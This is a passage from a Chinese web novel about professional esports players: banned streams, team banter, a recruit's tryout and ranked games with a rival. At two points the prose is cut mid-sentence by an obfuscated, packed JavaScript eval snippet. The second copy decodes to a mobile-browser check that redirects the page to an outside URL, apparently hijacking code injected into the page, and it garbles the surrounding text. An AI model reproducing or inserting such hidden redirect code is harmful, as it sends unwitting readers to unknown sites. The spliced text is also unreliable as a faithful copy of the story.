他一长串的文章在聊天框里未发出，只听“滴”的一声刺耳长鸣，直播黑屏，不断滚动的弹幕下浮现出一行大字。 【该主播去拯救世界了，稍后回来哦～】 “操！！” 何洋怒摔键盘。 小女友想安慰他，挤出笑容，弱里弱气喊了声：“没事六哥，大不了去其他地方。” “哭哭哭就知道哭！” 何洋一转头大吼，“你他妈还能干什么，一天到晚让老子带，要不是你我早上七阶了！” 小女友被吼懵了，还在线的几个房管也大气不敢出。 何洋叫完，自己都怔住了，他的手机躺在桌上疯狂震动，舰长群里一秒几百条正刷新消息。 这也怪不了他，站在何洋的角度来看无异于有一天上班被骂，就因左脚先跨进办公室而惨遭开除，莫名其妙得近乎荒诞，是个人都接受不了。 “对不起宝宝，我不是故意吼你的，我被气到了。” 过了好一会儿，何洋才冷静下来，对电脑笑了笑，语气轻柔，却喊得小女友毛骨悚然，没接话，只呆愣点了个头。 【我卡了还是弹幕卡了？】 【小破旗又崩了。】 【别的主播都还在，好像是六哥没了。】 【别逗了，高管真来了？】 【厕姐们满意了没，向你们主子讨赏去吧，别留在这污染老子眼睛。】 【什么瓜，轻置玉臀。】 【职业哥搞粉丝霸凌，这他妈官方都不说句话？】 【真牛逼，连电竞圈都开始搞起追星那一套了。】 【大主播就是天龙人，咱们这些微贱草民看个主播都能被打成低俗批。】 【多稀罕，除了忍还能干啥。】 荧幕上循环播放着被封禁那一刻的弹幕，何洋滑动滚轮来回观看，他瞧着直播助手里一排排黑下去的舰长头像，不断地告诉自己要冷静。 阴冷的目光飞速筛过屏幕的一个个字，何洋灵光一闪，心里突然萌生出一张计划的蓝图。 “无穷，咱们这直播回放能搞出来吗？” “啊？” 无穷怔了下，一下没搞懂他要那玩意干甚。 “平时都是播完再下载，现在个人中心被锁，要调只能去找管理员。” “那录播组呢，你能找到不？”何洋又说。 “这个应该没问题，我去问问有没有录了的，不过你打算干嘛？” 不仅无穷纳闷，小女友也是一头雾水，就算有录播也是何洋错在先，放出来没大众支持，难道还能把黑的说成白的？ “他不是爱凹人设吗？” 何洋皮笑肉不笑地呵了声，额角跳动，咬着牙缝从喉中一字一句地挤出话来。 “咱们就让他凹个够。” 17. 世界是个巨大的败犬 对于这场发生在世界另一方的无硝烟战争之明细，江柏是一概不知。 他在经历过拒绝打开战绩查分，禁言汇报战况的钓鱼弹幕，虚伪怒斥群臣，以及无视对他赛博父母的侮弄言论等等事件后，总算安安稳稳打了一段时间的排位。 与人数减少相呼应的，是比起刚来时欢天喜地，现今却冷清了不少的直播间，除去偶尔会有人发零星几句【帅啊】和【这调酒溜得真可以了】的弹幕外，基本荒无人烟。 退出对局，江柏挂上排位后顺手点开屠榜，这是按当前段位分数从高到低排序的国服屠夫排行榜，前排全是赫赫有名的屠皇们。 而力压群雄傲居榜首的，正是那个让无数人心潮澎湃，无数人铭记于心的名字——TQ丶前狼假寐。 TQ是汀千直播的缩写，当年前一个老板不发工资跑路后，全ETC俱乐部为了维持开销和万奇TV签下五年霸王条款，这一事闹得沸沸扬扬，全网皆知。 联赛粉丝怒骂老板不是人，又同步斥责万奇趁火打劫，磨刀不误砍柴工，然而让所有人都没想到的是，更大的瓜还在后头。 仅仅过了半个月不到，万奇再次食言，坐地起价，硬生生把五年改为了十年，圈外人都觉得他逆天，但令人难以置信的是，这价钱ETC一分没还，就这么水灵灵的答应了。 当时沸腾一时，还冲上了前三十的热搜，那时的ETC可不是现在这个熊样，五个人身价没一个低于七位数的。 网友们综合各路小道消息热烈讨论，最终得出来唯一可能的结论——教练有裸/照在万奇手里。 若非如此，这超乎常理的一切根本没法解释，就连还在高二的江柏都对这件事了如指掌，可见制造了多大的舆论影响。 这个谜底一直瞒到开学季。 退役和转会。 每一年夏天逃不开的话题。 因伤退役的残路，转去QR的七七，卖给FK的不问，加上在汀千签了卖身契还有三年才到期的寐狼，万奇老板真正拿到手的只有末鱼和琅琅，其中一个还不是首发，能不大发雷霆吗？ 到这里，ETC粉丝才打心眼里恍然大悟——他们清楚老板不是人，但没料到这么不是人。 卖完人就跑，真有你的。 不得不提的是，江柏第一次看联赛就是ETC和FK总决加时赛。 两秒零七。 FK人队以领先两秒零七的成绩拿下平局，全场沸腾的那一刻，江柏在冲上台来的FK成员的身影缝隙里，看见一个身穿蓝黑色队服的高挑少年。 他默默起身，在金雨和掌声中独自走下了台。 常说电子竞技菜是原罪，谁会记得第二名的陪跑背景板，但其实不然。 很多人的记忆都停在了ETC分散前，最后一舞的那个夏天。 以至于退役多年以后，每当提起第七赛季总决赛的最终战，江柏第一个回想起来的，仍是那个落寞到有些孤独的清瘦背影。 他指节稍动。 仿佛在摩挲着什么蒙尘的珍宝一样。 放在头像上的光标挪开了少许。 江柏停在这一界面快有一分多钟，久到有眼力见的粉丝都开始牺牲自己，舍己为人了起来。 【主播想看就看啦，我也好久没看狗哥打安了。】 【别视奸了多下头，大人就是要直接问微信。】 【狗哥还榜一呢，真闲啊他们。】 【季后赛都没进段位能不高吗。】 【换句话说，ETC是最早备战深渊赛的队伍。】 江柏被他们撺掇几句，鼠标已经点到了大神观战，结果打开一看，里面的观战席位排得满满当当，顶在第一名的那么大只狗却消失得无影无踪。 “妈的，被弹幕骗了，”他又好气又好笑，“人家都没上线。” 【恼羞成怒力——】 【直钩你也咬啊。】 【明知是计，为何不避？】 【因为我善。】 【关我啥事，那么大个13小时前在线看不见是吧，哦，忘了主播没有好友位。［可怜］［可怜］】 【你～贱～死～了～，我～好～喜～欢～】 【我问过冈易了，他说狗哥下把就来。】 鬼才会上第二次当。 江柏心想。 他手搭在鼠标上，沉吟片刻，从鼻里低哼出一声：“没来怎么办，没来你赔我？” 【他还是愿意选择相信，真的我哭死。】 【单恋是一个人的兵荒马乱，单练是两个人的心烦意乱。】 【老天爷，老子愿献祭本人二十年单身换伪神追星成功，求求你看看我吧。】 【前面的你算盘珠子都崩外太空来了。】 【主播别急，我再帮你起一卦，扣1助力我摇铜板。】 【111真灵吗大师。】 满屏幕从0到9应有尽有，不知道以为阿拉伯数字大批发。 就知道这些气氛组靠不住。 江柏笑了下，不明白愚蠢的自己在期待个什么劲。 “有病。” 就在他翻找其余账号准备观战时，点击随机刷新。 唰的一下。 江柏停住手。 一个头像出现在榜单首行。 【啊，有了，他说心诚则灵。】 游言上号了。 刚登上去，一排喜报就从游戏内公告脱颖而出。 【恭喜KS战队夺得第九赛季夏季赛总决赛冠军，昆山片玉桂林枝，缺一不可少年时，我们所有人都在一起的时候，就是KS最强的时刻！】 随之呈现的还有KS的全体照，全体成员穿着红白相间的战队服，四名人队选手平分在两侧，中央是他们的年轻主屠。 江柏生得白，澄澈，偏女相，笑起来像碗干干净净的白瓷水，泛着好看的涟漪。 这会儿黑白分明的墨眸正对，收敛了平易近人的温和，显得锋芒毕露。 “我操什么玩意。”游言跟被脏东西突脸了一样，立刻丢开手机以免生出针眼。 他手脚算快的，可还是没能逃过队长百无遗漏的法眼。 一看这个b样就知他看见谁了，游言不鬼叫余简生险些都忘了，他抬腿试了试椅子灵敏度，给调试设备的工作人员让路的同时，冲那头喊去一声：“狗子，我忘了跟你说，去和虚伪加个好友。” “啊？我加他干什么，好友位都爆满了。”游言话里带着嫌弃。 “你不是有个小号么，屠榜一百二十多那个。”那号还是余简生帮忙注册的，游言没那么多手机号，空着也是空着，不如拿来卖个人情，大家都高兴。 “现在八十九了，”游言纠正，不忘初心道，“你让我加他干嘛？” “不干嘛，我答应了。”余简生鼓励一切健康外交，对小朋友的承诺要坚决信守。 “啊？” 游言的问号打得一个比一个大，他顶着一副“我没人权是吧”的吃了苍蝇似的表情开口，无语道，“啥时候？我加又不是你加，这么大事咋不商量一下。” 余简生：“所以这不是正在商量吗。” 程肖：“咋还急眼了。” “急你大坝，”游言说，“光顾着抽珍宝忘记抽你了。” “人家也没对你干什么呀，”林屿在一边抽烟，突出一个看热闹不嫌事大，“怎么还患上PTSD了。” 别说职业选手，稍微火点的博主好友位都一票难求，人虚伪也不是什么路边的狗屎沾不得， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哎狗哥，”程肖贼兮兮凑过去，“你啥时候去加他，帮我问下呗。” 游言：“不加，滚。” 程肖还想说什么，被林屿抬手打断了。 游言默不作声把红点清了，起身时眉目间都冷了下来，脾气显然是不对付了。 林屿摸着下巴注视他进屋。 调侃消遣一点点，不至于真生气了？ 不过他实在不明白，江柏究竟是哪一点得罪他了，能把游言的应激反应整这么大？ 一群门外汉自然不懂了。 游言从没对其他联赛屠有过这种危机感，因为他清楚那些人超不过自己，所以才能安心地和他们打成一片，成为好哥们，铁兄弟。 当然，这并不代表他虚情假意在应酬，游言是真心热爱这群一起拼搏的同龄人。 但江柏不行。 就像陆明悦说的，说不定哪天，他就取代了自己，成为联赛的新一代霸主。 这件事毋庸置疑，并且最可怕的是，就连游言的内心深处都在动摇，所有人都这么相信着，包括他自己。 这不是一个人能主观控制的，哪怕嘴上靠着诋毁来寻求安慰，心中依旧在将自己全盘否定，自认不如。 他不如以前那样自信了。 唯独这个游言绝不能接受。 他承认自己是个小气鬼，又怕兄弟苦，又怕兄弟开路虎。 没办法第一时间对言时笑脸相迎，没办法和平接纳好友的功成名就，他就是这么没出息。 活该被人唠一辈子。 看他一脸阴狠地黑着脸，连个眼神都不给，ETC众人都没说话，一个个面面相觑。 余简生望着他冷漠绝情的背影抱上臂，仰仰下巴，提议道，“等会儿一起来联合？” 哐的一声，游言把着门探出个脑袋，一脸得逞笑地打了个响指。 “就等你这句话呢！” 18. 一生要强的屠夫玩家 “设备调试好了，你看下有没有问题。”林屿把半导体散热器丢给言时，用自己手机虚空做了个模范动作教他安装。 D5排位里是有PC端的，但比赛中只能使用手机操作，训练时配备的都是内存充足，性能强大的游戏机，为了保持手感和灵敏度，散热器必不可少。 言时没用过这玩意，但他不愿让人觉得自己没见识是个土包，闷声嗯了下，接过来，依葫芦画瓢夹在了手机上。 也不是多高级。 他在心里嘀咕。 “机位在贺颜身边行不？”林屿没注意到他的局促，关切地问了句。 虽说言时惜字如金，气质冷冷的，但行为举止看上去安静乖巧，穿着也十分规整，加上是未成年，林屿完全把他当乖小孩看待，语气都跟着轻和了些。 言时：“都可以。” 在今天之前，做梦没料到有试训的机会，进入俱乐部更是想都不敢想，能坐在这他就很满足了，再没有别的奢望。 这可不是一句随便就能马虎的事啊。 林屿倒不担心队友之间的摩擦问题，主要程肖这个b人兜不住东西，急功近利不说，还又菜又爱玩，特别喜欢上嘴脸。 先前人仗狗势赢一把KS都得瑟成那样，恨不得跑到对面的坟头上去跳舞，这还不是他打的，要让他以战队老人的身份把言时带飞，会变异成什么样林屿都不敢想。 言时自尊到甚至有些自卑，和程肖这个性格完全是八字相冲。 正想着要不然换给末鱼带带，耳边却突然砸入一道伴随着震动音的话语。 “倾诺，你的电话。” 他循声回头。 只见一个穿着黑色卫衣，皮肤白皙的男生递着手机向他们走近。 陆明悦刷完牙后洗了把脸，还没摸到眼镜就听一阵震动在沙发上摩擦，看见是言时的手机挂着在充电，顺路就带过来了。 “谢谢。” 言时接过一看，屏幕上备注的名字赫然在目——胡姐。 这一刻，厌恶的神情在脸上一闪而过，他二话没说，熄屏挂断了。 陆明悦找到自己的位置坐下，戴上眼镜，侧目说：“怎么挂了？” 言时被他一问，余光扫去，低声说：“催我单子的。” “哦，你打代练？”陆明悦疑惑，那不更该接吗？ 不过看言时表情不善，多半是不太愉快的私事，就没追着问，只提了嘴显而易见的事实。 “对，帮人冲榜打牌子。”言时说。 D5中有个东西叫做角色认知分，只有参与排位赛才能获得，每个角色的分数相互独立，段位越高，认知分上限越高。 各个角色排名前十的玩家可获得S级徽章，依次往下则是A级，B级和C级。 有些人喜欢某个角色，专门花钱来给自己的号拿个牌子镀一层金，或者纯粹老板需求要上分，他们就会去找中介胡姐，然后再通过她的人脉落实到各个代练手里。 言时退群时群里已有三百多人，全是胡姐找的路人高手或者赚外快被人拉进来的，用脚趾头想都知她不满自己跑了，专程追过来兴师问罪。 正巧，言时也有事要问她。 只不过不是现在。 这说法让林屿来了兴趣。 “你打过几个角色的？” 要知道，牌子的竞争非常激烈，这象征着国服高玩的荣耀冠冕，每周都会更新，越往上分数越高。 有些热门角色甚至到了神之领域，S1的断层分数令第二名望尘莫及，多是职业圈里的专业选手保持着，因为这种高水平人选很容易被俱乐部相中，比如林屿先前看上的两个辅助和OB位，全是从榜前找的。 言时能做这门生意说明至少有多个拿手的英雄，且熟练度还较高。 七七推荐他时可没提过这茬。 “都打过，大部分是AB牌的，S要看情况，胜率没法保证。” 听出教练在打探角色池的深浅，言时没乱吹牛，一就是一，二就是二，隐瞒只会在暴露时让自己更加难堪。 林屿了然地笑了：“刷段位是吧。” 高分段牌子不好打，先把段位故意掉下去，再用这个角色一路赢上来，如此往复，认知分会往上涨，但段位和胜率却不怎么好看，代练的经典手段了，他一说林屿就懂。 反正老板只要牌子，这么干无可厚非。 当然也有人想要段位胜率认知分三手抓，那只能说就算他敢这么要求，也要看世上有没有这种神人，真有这资质早飞黄腾达了，还稀罕这点钱做什么代练。 言时点头，算是默认了。 他确实没有一口价上S的实力，否则不至于各个俱乐部跑断腿连试训都约不到。 “还行，这样不会在救人位里限制死，牵制修机都能打，缺什么就补上。” 林屿欣慰之余依然有点忧心，抛开打得累这一外在因素不谈，言时需要掉段就说明他没有混迹于巅峰的水准，一个月后他要面临的可是IVL联赛屠疯人院，里面个个是被职业人队养蛊暴打出来的怪物。 起点不高，这段时间未必能练出来。 林屿很难不为现在的ETC捏把汗。 “补上什么，咱们队要招替补了？” 正说着，程肖人还在大厅，八卦的声音就已经从遥远的虚空传进训练室，天塌下来他可能顶不上，但吃瓜永远是第一线。 “是啊，不然就凭咱们几个歪瓜裂枣，不是第一局就得被民间队抬了？”林屿笑着，这种随口就来的自嘲，已经成了ETC超绝脱敏治疗的素质体现。 对于全球赛来说，抽签对战到海选上来的民间队是最幸运的，虽说和IVL十大职业队的交锋终究无法避免，但一上来就打生死战谁都不好受，能越后遇到职业队越好，夏季赛一轮游就算了，深渊赛再输民间队可就真成职业之耻了。 “想被抬也得抽到好签才行，还没开打就做法请神想蒙混过关，到时抽出一个王炸你不傻眼了。” 余简生跟着进屋，一分不差进入训练室的两人走过身后的过道，言时不着痕迹地抬身让了让。 “那要看是谁了，输给QR或者IL这种大满亚也不丢脸。” 然而他低估了这个二百五的大大咧咧，程肖一进门就把手搭上电竞椅，给队长让位置时不小心挤到言时，手肘抵在了人家脖子上。 “不好意思，没碰到哪吧。”程肖赶忙道歉，下意识撑桌的手按到了言时跟前的手机。 “没事……” 言时偏着头，话刚到嘴边，只听“滴”的细微一声，这边包括林屿在内的三人都愣了。 这声音代表散热器的启动，伴随引擎的转动，风声开始嗡嗡起来。 也就是说言时刚才只套上了架子，并没打开开关，就像猴子拿着手机，却只用它来砸核桃一样。 程肖纸糊的脑子难得灵光了一回，他没挪手，慢慢抬起脸来，思考着该说什么才不会让言时尴尬。 而言时也瞬间明白了这玩意的运作机制，顶着一张毫无所谓的冷漠脸对上程肖的视线，手指紧攥，耳后和脸上全都热得烫了起来。 丢脸死了。 “你俩干嘛，玩壁咚？”余简生淡淡带哑的音色从背后传来，不等程肖解释，一只修长的手横空插入两人中央，掀开了他的手。 程肖：“没，我不小心……” “那还不起开，今晚就这么睡得了。” 余简生冷淡地扫他一眼，按动两下，把风速调到最大后丢给了言时，不忘埋汰程肖一句：“转得好好的给人家开到最小干什么，你热手机不热？” 什么最小？他在说啥？ 突然间，程肖灵光一闪，猛的明白了自家队长的良苦用意，挠上头笑说：“我怕声音太大，倾诺听不到技能声。” 很多游戏局内都会有逼真的环境音，选手能通过声音发现蛛丝马迹从而改变策略去应对，有时说不定会成为扭转乾坤的关键。 “神经，别人不知道戴耳机？”只要有人嘲贺，陆明悦一定会帮帮场子。 “定制耳机不还没到吗，我关心新人也有错。”程肖落座调试手机，不满嘀咕着。 “你不欺负人家我就谢天谢地了。”林屿早已看透一切，多年媳妇熬成婆，他指定得偷偷压榨乖宝宝。 “我又不像北秋孤立所有人，有病欺负他？”程肖老大一个不服。 “你他妈腰子不想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923450|160388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了？”陆明悦就差拿刀架他脖子上。 “让让他吧，只有阳痿男才会整天盯着别人的肾看。”林屿平静地开口。 “别说了，你爹我同意捐献。”余简生说。 言时一把接住手机，听着队友们有一句没一句的斗嘴，嘴角不自觉上扬了些许。 “不过话说回来，倾诺，你觉得如果真找替补，谁会被换下首发啊？”程肖打开游戏客户端，状似不经意地凑近了言时。 这话刚一出口，立刻换来了四道鄙夷且无语的目光。 看吧，狗改不了吃屎。 “不知道诶。” 言时捣鼓着手机回了一句，像想起来什么似的抬头，喊一声：“狗哥。” 程肖虎躯一震。 “叫你爹干啥？” 游言刚出洗手间听见这么一声，余光扫去时大感蹊跷，这小子什么时候这么客气了？ “他说你要被换下首发。”言时人畜无害地指认程肖。 “哦？” 游言眯起双眼，锐利的目光望过来时压迫感十足——实际却是近视眼啥都看不见。 “把我换了请谁来打，”他不假思索地笑了，“你最爱的虚伪啊？” “不不不……” 程肖真的只是想加个好友显摆一下，哪想到狗东西这么记仇，他顿了顿，直接贼喊捉贼指向言时：“我没这么说，是他说的。” 游言看向座位上的其余两队友，他们纷纷摆手表示：“就是他说的。” 程肖爆炸了：“不带这么玩的！你们搞小团体霸凌！” 林屿：“小团体拉我一个。” “你小子睡觉的时候最好两个眼睛给我轮流站岗。” 游言落座，懒得和这个傻卵一般见识。 五人到场，总算是首发补齐，准备队内训练了。 “你的合同在打印了，杨哥说资料完备后就官宣，记得关注下微博，到时转发一下。”林屿提醒了句言时。 余简生说得好听，和其他战队约练后再做打算，但话说回来，若四个首发人队选手都没补齐，又谈何约练。 “排位打满吗？”陆明悦问。 现在才八点三十多，还有半个小时的时间。 程肖第一个矫情起来：“不要，等会要训练，我还想吃阿姨做的夜宵。” 他话音刚落，余简生就无情地打破了这美妙的幻想。 “打满，你带带倾诺。” 不仅夜宵没了，还要带菜鸟上分。 程肖无法接受：“凭什么我带不让北秋带？” “因为你比他菜。”余简生直言不讳。 菜就要多练。 程肖不干：“我和他段位分差不少，赢几把就没法排了。” 五阶以上晚上的排位时间就只有七点到九点了，而且段位跨度超过两阶以上是无法双排的，原因很简单，难以去匹配实力相近的屠夫。 这也难不倒林屿。 “你多秒倒几把不就行了？”分加得最少，还能荣获赛后队友的双亲去世大礼包，简直一举两得。 “我倒想秒倒，”程肖感叹，“可惜，给对面机会他不中用啊。” 陆明悦：“那不正好，你队友秒倒了还能赢，岂不更凸显你的实力？” 程肖：“……” 对哦，对面换人抓不就行了？ 他还没抗议成功，游言听说他们要打排位，插一句嘴进来说：“队长，带带我呗。” 赛季末了，又是榜一屠皇，这个段位游言根本匹不到人，正好他人类段位不高，打上七阶还有丰厚的奖励。 余简生：“滚，带不动。” 七阶和七阶之间亦有差距，高手过招比的就是细节，游言一个专精屠夫的，无论人类段位多高，思路都不可能和他同步。 与其带这种要操作有操作，要意识有操作的花瓶废物，不如和陆明悦多打几把，至少不会被气得七窍生烟。 “切，不打就不打，我自己找人去。” 游言当然明白他拒绝的道理，本就没抱多大希望，转回头去开始搜索在线好友，边打字边在心中宽慰高贵的屠皇玩家们。 哎，强者果然都是孤独的。 19. 可惜为时已晚 事实证明，两只缺爱的小夜莺之间总是会互相吸引。 没等游言把好友栏看过两轮，有人见他上线，立刻发来组队邀请。 【白溪石不是白石溪：队☆长☆不☆在☆家☆一☆个☆人☆寂☆寞☆难☆耐［爱心］火☆熱☆勁☆慡☆游☆隵☆［爱心］［爱心］［十八禁］刺激庄园等你来战［十八禁］［爱心］［爱心］激情☆1=3☆来几个笨比】 “我靠，有变态。” 游言看见ID的那一刻就乐了。 向他发消息的不是别人，正是IL战队以e得人胆战心惊而闻名遐迩的主屠白溪石。 游言的好友除去老队友和早些年一起打游戏，后来逐渐退坑的情怀位外，加的基本上是联赛中有过联系的人，私人账号活生生变成了工作号，不然也不会大费周章去开个小号。 而且游言总感觉自己在被人视奸，不然为什么每次一上号就全网皆知，第五又不像网游，没那种名人上线就全服公告的大喇叭。 这不，不到五分钟，除了白溪石第一个占尽先机发来的抽象文案外，陆续有不下十人给他发送消息。 内容五花八门，多是很合时宜很贴心地给这位曾经的监管霸主送上祝福，什么深渊赛加油，狗哥给我们看奇迹啊，小等等冲冲冲之类，看得游言气笑了。 语气之激励，态度之恭维，感觉像在对一个半身瘫痪的残疾人大加赞赏，站起来了好棒棒，宝宝能参加比赛就很厉害了，天呐还在喘气简直不可思议，真把他当一碰就碎的玻璃心了，还奇迹，奇你妹。 【对曲曲一个飞天大草：听说主播手伤给主播熬药，结果光顾着看主播忘记看药，现在几剂药爆炸了。】 【TQ丶前狼假寐：炸死你个狗日的。】 【摸机召唤宿伞之魂：牙疼，需要狗哥急拔。】 【TQ丶前狼假寐：我看你更需要邦邦的铁皮人。】 【人美嘴甜睡狗勾：主播这几天做胃镜医生说不能吃太硬的，那我能吃你豆腐吗？】 【TQ丶前浪假寐：建议找头牛的儿子去嗦。】 游言敲上键盘飞速弹琴，写了一大堆牛魔大酬宾依次分发给幸运观众，还没回复完，白溪石迫不及待的邀请再一次发了过来。 【白溪石不是白石溪：狗哥狗哥，来不来双排？】 游言想都不想反手送他一个。 【TQ丶前狼假寐：来你妹，你不用训练的？】 【白溪石不是白石溪：这个点还在线肯定不训练了啊，你要不是被末鱼排挤了能在排位时间外上号？装牛魔快来，等会儿末班车都没了。】 【TQ丶前狼假寐：叫叫叫，再叫把你史打出来。】 【白溪石不是白石溪：我靠狗哥，要不要这样，我是看你一个人没人陪才叫你的，真不来我就找琅琅去了。】 提到前队友琅琅，游言派送牛魔大礼包的速度才慢了下来，刚好这时好友栏该骂的不该骂的全骂了，列表拉到最下，有三十多位黑掉的好友。 排在第一的是一个用着机械师头像的ID。 小等等丶未羽残路［30天前在线］。 白溪石这句话发出去就没水花了。 他觉得自己挺闲得蛋疼的，主要今天IL人队全体出去选人，经理紧急打电话说有新人候选，让安华带着其余三个队友来一趟，但他和琅琅却被留下来守家。 IL公认的联赛第一人队，白溪石想不到是什么人值得他们倾巢出动，这个架势明显不是选人队替补。 以安华为体系的人队在四进二半决赛的发挥来看，属于是脑子有病才会考虑把人换走，况且这么多年都没变过的核心成员，若真有能取代他们的高人，不至于自己和琅琅从未听到过风声。 综合来看，白溪石只得出一个有可能的结论：经理在选屠夫候补。 这是个很古早的问题，IL典型的人强屠弱，琅琅先前在ETC当替补，来IL后目前还没上过首发，而白溪石虽一直在被人队带飞，但他的局均淘汰数始终是保持在2.2以上的，只是在人队过于耀眼的表现衬托下，显得主屠像吃软饭的草包。 尤其想起先前微博上有说自己被人队溺爱得不思进取的言论，白溪石是有点不忿的，说是看了就过了，但总会留个芥蒂在心里。 今晚听安华说要把人队四人都叫出去，很可能是对未来的主屠进行约训，可白溪石也想不明白，是什么人值得他们这样隆重？哪个屠顶得住IL人队的全力输出？ 就在这个疑问冒出来的一瞬间，白溪石心里一惊，等等。 难道说…不会吧？ 他打开游戏，几乎是本能去屠榜上寻找自己心中的那个名字，在看到他没上线时，白溪石心都凉了半截。 然而另半截还未被拖入冰窖，游言又不打招呼就登陆了，这一连串拉扯整得白溪石七上八下，可在尘埃落定的瞬间，欣喜仍是大于忧愁的。 虽然很对不起狗哥，但就目前而言，他留在ETC的消息是对IVL全体战队的一剂强力定心药，没人希望游言转会期和任何一个其他俱乐部签约，甚至流出一两条可能会离开的消息都足以让大多数职业选手吸氧。 没有别的，游言连现在的ETC人队这个航母都能拖起来，让他去其他战队还不得上天？ 不过这个担心很大程度上也是多余的，IVL职业圈人本就不多，很多选手之间相互认识，包括白溪石在内的很多选手和教练都清楚，游言在退役之前，恐怕都不会放弃ETC这个前缀。 他和林屿一样，被永远困在了名为“ETC3.0”的迷宫里。 果不其然，听白溪石心机地提起琅琅，游言回复的语气登时软了很多。 【TQ丶前狼假寐：装牛魔，琅琅肯和你玩还来找我？】 【白溪石不是白石溪：毛线，人家就在我旁边，等会，我叫他来说句话。】 【TQ丶前狼假寐：呵呵，在你旁边还寂寞得不要不要的。】 【白溪石不是白石溪：他说他想你了嘛。】 这句发出去后，聊天框沉默了三秒，随后发来一句简简单单的。 【TQ丶前狼假寐：DD语音，上号。】 游言动作迅速，说到口上就要到手上，不到一分钟建好房间并给白溪石发去了账号和进入密码。 白溪石进入房间，听到那头的麦很炸，窸窸窣窣传来一声没好气的抱怨。 “等会，我挂个直播水时长。” 在通话接通的刹那，白溪石心里 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“我到了，你快爬一下。” 言时和血线赛跑，来到地下室上方时程肖已经快死翘翘了，他甚至交了飞轮赶时间，程肖也拼命地向上爬，那一刻踏着白泽特效的古董商宛如仙女下凡。 只可惜，为时已晚。 勘探爬着爬着，惨叫一声，顿时消失在了原地。 只留下站在阶梯上的古董呆愣迷茫，不知所措。 “啊——！” 考59分比考9分难过百倍，程肖宁愿他没有来，给了希望又赋予绝望，阎王一觉醒来发现自己掉到了榜二。 “你，试，训，不，通，过！！！” 这一声惨绝人寰的喊出来，三个队友齐刷刷憋不住了，言时还收敛点，陆明悦笑得最开心，操作都有些变形，硬生生平地吃了艾维一刀，给她送了个二阶。 声音落到白溪石耳里显得有些诡异，他挑眉道：“你们俱乐部在试训？” “没，”游言说，“狗在叫而已。” 白溪石：“哦，贺少精力还挺旺盛。” 他见游言打开了汀千直播，不到一分钟，粉丝像狗看见屎一样，两眼发光闻着味就来了，盯着如雪花般纷纷扬扬飘来的弹幕，随口问道：“还没解约，你们老板也不去关照一下。” 白溪石说的关照自然是让ETC东家去给汀千点颜色看看，万奇就不说了理亏，先前是上一个老板太不干人事，赞助商也只有虎跃平台一个，现在可不一样，新老板是豪门总裁，分分钟摇一面包车的律师来楼下干你那种。 “解约了你养我啊，”游言反讽，“站着说话不腰疼。” 万奇现在第五都播不了，余简生陆明悦他们当然不在意，游言可是要供家里的弟弟读书来着，断了经济来源第二天就得上马路边要饭。 这肯定是不可以的，常言道书读不傻人，游言不希望他也和自己走上同一条道路。 白溪石就笑：“让伪酱养你，人家可乐意了。” “你再提他，”游言也笑，“我就把你的头拧下来当尿壶。” 20. 这就是缘分 白溪石：“想尿我嘴里就直说，不用拿伪酱当借口。” 游言：“谁拿他当借口，你先提我先提？马桶水不够用把你脑子冲没了是吧？” 白溪石：“我这不是怕你忘记了，好意帮他提醒一下吗？” 游言：“你帮他吃饭，睡觉，呼吸行不行？” 白溪石：“至于不狗哥，就提了一下而已。” 游言：“你以后住院氧气管我给你提一下？” “得得得打住打住，我不跟你吵了。”白溪石一副大局为重的表情，心里那叫一个郁闷。 他发誓再也不要和游言彪垃圾话了，想拿江柏和他客套一下，马屁拍到马腿上不说，斗几句嘴险些把自己阳寿给作没了，嘴上淬毒不是浪得虚名，他白溪石只得甘拜下风。 “琅琅呢？”游言三句不离他。 “叫什么叫，在楼上吃饭，吃完就下来了，满意没？”白溪石无语，在他这自己的咖位还比不上一个替补。 不过要让白溪石就这么认输也是不可能的，但凡蹲过夏季总决直播的没人不知道虚伪的明牌追星，白溪石也不例外。 那一天不知是多少人的无眠之夜，激动，欢喜，悲愤，遗憾，没几个是睡着了的。 虽不清楚游言的暴躁是从何而起，但显然白溪石感到抓到了他的膝跳反射点，戳一下就能瞬间跳起来那种。 这对一个刚刚被怼得哑口无言的忧郁少年而言无疑是不可多得的逗猫棒，白溪石不打算浪费千载难逢的机会。 “提一句虚伪跟要跳起来咬人似的，”白溪石伸手冲他指了下，撇撇嘴，“幼稚鬼。” 【刚来，怎么又看到主播在欺负后辈？】 【什么咬人，什么尿壶？】 【我以为我在看直播，怎么好像在逛技院？】 【这属于白哥的知识盲区了，主播在极度害羞的时候是会破口大骂的。】 【主播陷在伪神的流量蜜罐里支支吾吾，只能用破防来掩饰自己的无措，面对曾经的敌人现在的队友白溪石的询问，他竟无法用成型的言语来形容此刻的心情。】 【五灯泡，再写一百字的。】 “特么的，房管给我把起哄的全都禁言了。” 游言微笑着咬咬牙，一向巧舌如簧的刻薄嘴一时半会居然找不出什么正经的反驳词来鞭策他们，这帮剑冢最会捕风捉影，断章取义，为了避免越描越黑变成岁月史书，他干脆直接动用武力措施。 【？？？凭什么把我大号封掉？】 【白哥问的你找我们出气？就会窝里横是吧？】 【不让提虚伪我非要提。】 【虚伪虚伪虚伪虚伪虚伪虚伪虚伪虚伪虚伪虚伪虚伪虚伪虚伪虚伪】 【虚伪虚伪虚伪虚伪虚伪虚伪虚伪虚伪虚伪虚伪虚伪虚伪】 哪知不封还好，一封这些人更来劲。 本来先前只有零星弹幕在报告江柏直播状况时加入私货，现在仿佛充分了解游言生平最恨虚伪二字一样，满屏幕上下都被红色的一排排字迹占据。 游言气笑了。 他还真没想过，有朝一日直播间里出现最多的大明星是别人而非自己。 而造成这一切的罪魁祸首正在美滋滋地刷弹幕，直到游言喊他才从一众谣言故事会里回过神来。 “咋？” 他居然还有脸问。 